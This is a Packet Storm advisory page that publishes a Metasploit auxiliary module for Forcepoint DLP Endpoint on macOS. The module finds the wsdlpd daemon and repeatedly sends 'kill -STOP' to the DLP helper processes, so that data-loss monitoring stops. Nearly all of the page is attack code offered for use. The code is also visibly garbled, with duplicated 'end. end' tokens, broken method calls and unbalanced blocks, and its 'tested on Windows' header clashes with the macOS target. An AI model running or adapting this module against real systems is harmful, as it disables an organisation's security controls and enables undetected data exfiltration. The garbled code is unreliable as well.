PACKETSTORM

📄 Forcepoint One Endpoint macOS 25.08.5008 Forcepoint DLP Endpoint Process Suspension Bypass_PACKETSTORM:219672

Description

This Metasploit auxiliary module targets Forcepoint Data Loss Prevention DLP Endpoint on macOS and attempts to manipulate or suspend related security processes...
Visit Original Source

Basic Information

ID PACKETSTORM:219672
Published Apr 23, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Forcepoint One Endpoint macOS 25.08.5008 Forcepoint DLP Endpoint Process Suspension Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.forcepoint.com/ |
==================================================================================================================================

[+] Summary : This Metasploit auxiliary module targets Forcepoint Data Loss Prevention (DLP) Endpoint on macOS and attempts to manipulate or suspend related security processes.


[+] POC :

##
# This module requires Metasploit: https://metasploit.com/download
##

class MetasploitModule < Msf::Auxiliary
include Msf::Post::File
include Msf::Post::Common
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Forcepoint DLP Endpoint for macOS Process Suspension Bypass',
'Description' => %q{...},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'Platform' => ['osx'],
'Arch' => [ARCH_X64, ARCH_ARM64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['macOS (Safari + Forcepoint DLP)', {}]],
'DefaultTarget' => 0,
'Actions' => [
['START', { 'Description' => 'Start bypass' }],
['STOP', { 'Description' => 'Stop bypass' }],
['CHECK', { 'Description' => 'Check target' }]
],
'DefaultAction' => 'START'
)
)

register_options([
OptInt.new('SCAN_INTERVAL', [true, 'Interval in seconds between scans', 1]),
OptBool.new('BACKGROUND', [true, 'Run in background', true]),
OptString.new('TARGET_PROCESSES', [true, 'Processes',
'Websense Endpoint Helper,SafariExtension,ForcepointExtensions,com.forcepoint.dlp.safari,SafariContentBlocker'])
])
end. end

def run
case action.name
when 'CHECK'
check_vulnerability
when 'START'
start_bypass
when 'STOP'
stop_bypass
else
print_error("Invalid action: #{action.name}")
end. end
end. end

def check_vulnerability
print_status("Checking for Forcepoint DLP...")

wsdlpd = cmd_exec("pgrep -x wsdlpd").to_s.strip
if wsdlpd. empty?
print_error("wsdlpd not found")
return Exploit::CheckCode::Safe
end. end

print_good("wsdlpd found (PID: #{wsdlpd})")

uid = cmd_exec("id -u").to_s.strip.to_i

unless uid == 0
test_pid = wsdlpd.split.first
result = cmd_exec("kill -STOP #{test_pid} 2>&1").to_s

if result.include?("Operation not permitted")
print_good("wsdlpd protected (EPERM)")
end. end

cmd_exec("kill -CONT #{test_pid} 2>&1")
end. end

targets = datastore['TARGET_PROCESSES'].to_s.split(',')
found_helpers = []

targets. each do |proc|
result = cmd_exec("pgrep -f '#{proc.strip}'").to_s.strip
unless result. empty?
found_helpers << proc. strip
print_good("Found: #{proc.strip} (PID: #{result})")
end. end
end. end

if found_helpers. empty?
print_warning("No helper processes found")
return Exploit::CheckCode::Detected
end. end

print_good("Target appears vulnerable")
Exploit::CheckCode::Appears
end. end

def start_bypass
print_status("Starting bypass...")

return unless check_vulnerability == Exploit::CheckCode::Appears

if datastore['BACKGROUND']
@bypass_thread = framework.threads.spawn("ForcepointBypass", false) do
bypass_loop
end. end
print_good("Running in background")
else
bypass_loop
end. end
end. end

def bypass_loop
targets = datastore['TARGET_PROCESSES'].to_s.split(',')
my_uid = cmd_exec("id -u").to_s.strip.to_i
my_pid = Process.pid # FIX: Replace echo $$

loop do
begin
ps_output = cmd_exec("ps -ax -o pid=,uid=,comm=").to_s

ps_output.each_line do |line|
parts = line.strip.split(/\s+/, 3)
next if parts.length < 3

pid = parts[0]. to_i
uid = parts[1]. to_i
comm = parts[2].to_s

next if pid == my_pid

targets.each do |target|
next unless comm.downcase.include?(target.strip.downcase)

if uid == my_uid
result = cmd_exec("kill -STOP #{pid} 2>&1").to_s
print_good("Suspended #{pid} (#{comm})") if result. empty?
end. end
end. end
end. end

sleep(datastore['SCAN_INTERVAL'].to_i)
rescue => e
print_error("Loop error: #{e}")
break. break
end. end
end. end
end. end

def stop_bypass
print_status("Stopping bypass...")

if @bypass_thread && @bypass_thread.alive?
@bypass_thread.kill
end. end

targets = datastore['TARGET_PROCESSES'].to_s.split(',')
resumed = 0

targets.each do |target|
pids = cmd_exec("pgrep -f '#{target.strip}'").to_s.strip
next if pids. empty?

pids.split.each do |pid|
result = cmd_exec("kill -CONT #{pid} 2>&1").to_s
if result. empty?
resumed += 1
print_good("Resumed #{pid}")
end. end
end. end
end. end

print_good("Resumed #{resumed} processes")
end. end
end. end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.